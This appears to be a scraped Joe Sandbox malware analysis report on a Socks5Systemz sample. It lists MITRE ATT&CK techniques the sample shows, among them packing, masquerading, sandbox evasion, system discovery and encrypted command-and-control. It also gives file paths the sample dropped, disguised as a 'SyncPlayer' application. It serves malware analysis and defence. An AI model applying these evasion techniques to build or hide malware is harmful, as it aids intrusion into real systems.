Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report OFjT8HmzFJ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Socks5Systemz

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\EC SyncPlayer 11.4.45\EC SyncPlayer 11.4.45.exe

C:\ProgramData\ec114it45.dat

C:\ProgramData\ec114rc45.dat

C:\ProgramData\ec114resa.dat

C:\ProgramData\ec114resb.dat

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ApngDecoder.dll (copy)

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\AudioResample.dll (copy)

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Bitmap2Avi.dll.intermediate.manifest (copy)

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\CamCapture.dll (copy)

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Capture.wav (copy)

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\EncodeSettings.ini (copy)

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ISTask.dll (copy)

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\InstallHelp.dll (copy)

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\IntelHW.dll (copy)

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\MagicSkin.dll (copy)

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\Microsoft.VC90.CRT.manifest (copy)

Windows Analysis Report
OFjT8HmzFJ.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre